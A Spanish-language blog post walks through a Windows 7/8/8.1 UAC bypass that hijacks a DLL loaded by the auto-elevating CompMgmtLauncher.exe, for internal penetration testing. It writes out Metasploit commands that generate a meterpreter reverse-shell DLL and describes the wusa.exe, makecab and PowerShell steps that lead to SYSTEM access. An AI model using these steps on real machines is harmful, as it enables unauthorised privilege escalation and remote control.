martes, 21 de marzo de 2017

Bypass UAC con Invoke-CompMgmtLauncher para Windows 7/8/8.1

Compartir este artículo:
Microsoft no contempla un Bypass de UAC como una vulnerabilidad, debido a que depende de la configuración que la característica de seguridad tenga en cada momento. Es cierto que desde Windows 7 la configuración del UAC fue “rebajado” para la comodidad del usuario, dejando la petición de consentimiento para binarios que no son de Windows, es decir, que no están firmados por Microsoft o que tienen la directiva autoElevate a true en el manifiesto del binario.

Repasando los binarios que tienen el autoElevate a true encontré uno que me llamó la atención. En UACMe, un repositorio dónde podemos encontrar un gran número de bypasses de UAC, encontramos algunos que se aprovechan de dicho binario, pero no de la forma que planteo en el artículo. Los métodos conocidos que se utilizaron para aprovecharse del binario CompMgmtLauncher.exe son la manipulación del registro de Windows, justo como se contó con el método Fileless y el método de Shell API.

Lo primero que hice fue ver el manifiesto del binario y el comportamiento del binario CompMgmtLauncher.exe. Con la herramienta sigcheck.exe de Sysinternals se puede ver el manifiesto del binario. Buscamos la directiva autoElevate y observamos el valor true. Esto quiere decir que el binario cuando se ejecute se ejecutará con privilegio, es decir, en un contexto de integridad alto.


Cuando se mira la integridad del proceso con herramientas que permiten observar este detalle, se puede ver cómo se está ejecutando con integridad alta, por ejemplo, con Process Explorer o Process Monitor. Ahora, podemos observar cómo podemos llevar a cabo la técnica DLL Hijacking a través del secuestro de una DLL. Para poder verificar si el binario es vulnerable a DLL Hijacking, tenemos que mirar si hay algún directorio o fichero que no es encontado durante el arranque del binario.

Si ejecutamos Procmon para monitorizar, en este caso, el sistema de archivos y las operaciones que se hacen sobre él, por el binario CompMgmtLauncher.exe nos encontramos que hay varios NAME NOT FOUND.


Si echamos un ojo, quitando el filtro de solo sacar NAME NOT FOUND, observamos que después de buscar el directorio compmgmtlauncher.exe.Local, el binario se dirige a WinSxS, en el caso de las arquitecturas de 32 bits, y descubre la DLL que realmente está buscando. Entonces, si nosotros podemos lograr que la DLL se escriba en una ubicación protegida como es \Windows\System32, podríamos lograr que el binario encuentre primero nuestra DLL maliciosa y la cargase.

En el caso de que nuestra DLL maliciosa fuera cargada, en primer lugar, por el binario, podríamos ejecutar código en un contexto elevado, ya que el binario que cargaría la DLL es CompMgmtLauncher.exe, el cual se ejecuta en un contexto elevado o auto-elevado.

Para crearnos una DLL maliciosa podemos utilizar un módulo de Metasploit. Para ello, arrancamos msfconsole y ejecutamos:

·      use payload/windows/meterpreter/reverse_tcp
·      set LHOST [dirección IP retorno]
·      generate –t dll –f [ruta creación DLL]

PoC: Creando el Bypass de UAC con Powershell

Para copiar la DLL a la ubicación protegida dónde el binario de CompMgmtLauncher.exe buscará tenemos dos opciones:

·      Utilizar la aplicación wusa.exe, la cual permite extraer el contenido de un fichero CAB en una ubicación protegida, debido a que dicha aplicación se ejecuta en un contexto de integridad alto. Esta opción sólo nos servirá en Windows 7, 8 y 8.1. Es la que utilizaremos para este artículo.
·      Utilizar IFileOperation. La exposición de los objetos COM. Este objeto contiene métodos que permiten copiar, mover, eliminar objetos del sistema de archivos como ficheros y carpetas. Este método es válido en Windows 10.

Hay que indicar que el binario CompMgmtLauncher.exe puede ser utilizado en Windows 10 para hacer el Bypass de UAC, aunque solo se pueda utilizar el método IFileOperation como medio para copiar la DLL a la ubicación protegida.

Ahora, vamos a hacer un pequeño script de Powershell que permite ejemplificar y llevar a cabo el Bypass de UAC con la invocación del binario CompMgmtLauncher.exe y a través del vector de wusa.exe y DLL Hijacking.

Crearemos una función denominada Invoke-CompMgmtLauncher. En primer lugar, crearemos un directorio en el escritorio de la víctima dónde creará la jerarquía de carpetas necesarias en el directorio CompMgmtLauncher.exe.Local.


Una vez tenemos preparada la jerarquía de carpetas, vamos a crear el fichero CAB. El fichero CAB será utilizado por wusa.exe para hacer la extracción en la ruta privilegiada. Tal y como se puede visualizar en la imagen, se crea un fichero DDF. Este fichero DDF está compuesto por directivas que serán procesadas por el binario makecab.exe, el cuál es el encargado de generar el fichero CAB.

En resumen, podemos decir que DDF indica a makecab.exe cómo se debe distribuir los archivos en el CAB y qué características tiene el fichero y la compresión de éste.


Una vez creado el fichero DDF, nuestro script/exploit de Powershell generará el fichero CAB a través de la sentencia makecab.exe /f [ruta del fichero DDF]. Una vez hecho esto, tendremos ya el fichero CAB disponible para que wusa.exe pueda utilizarlo.

La siguiente instrucción es la de utiliza wusa.exe para llevar a cabo la extracción en \Windows\System32. Ahora que ya tenemos la jerarquía de carpetas que compone comctl32.dll en \Windows\System32 se debe arrancar el proceso CompMgmtLauncher.exe para que se lleve a cabo la ejecución de código, es decir, la DLL, en un entorno privilegiado.

Hay que tener en cuenta que, para llevar a cabo un Bypass de UAC, se deben cumplir ciertas condiciones:

·      El UAC debe estar configurado por defecto. La configuración por defecto de Windows 7.
·      El usuario que ejecuta el binario auto-elevado debe ser del grupo administradores.

Una vez conseguida una sesión, por ejemplo, con Metasploit y tenemos una Powershell remota e interactiva, podemos descargarnos dinámicamente a memoria nuestro script, tal y como se puede ver en la imagen. Una vez hecho esto, podemos comprobar con ls function: que la función se ha cargado correctamente y está disponible.



Cuando se ejecuta la función de Powershell, se obtiene un Meterpreter, el cuál es el que está en la DLL y se obtiene una nueva sesión. Esta sesión se encontrará con más privilegios, por lo que cuando hagamos el getsystem, podremos impersonalizar a System y acceder a cualquier recurso del sistema.



Ha sido un juego interesante lograr el Bypass de UAC y hacer esta pequeña escalada de privilegios, la cual siempre está guiada por las condiciones del UAC y de la identidad y grupo del usuario que ejecuta el proceso. Como se puede ver, se puede sacar un provecho y un beneficio en una auditoría interna, dónde las escaladas de privilegio y el Bypass de UAC son técnicas utilizadas diariamente.

Se puede descargar este script y modificar desde mi Github y sacarle el jugo a este Bypass de UAC.


No hay comentarios:

Publicar un comentario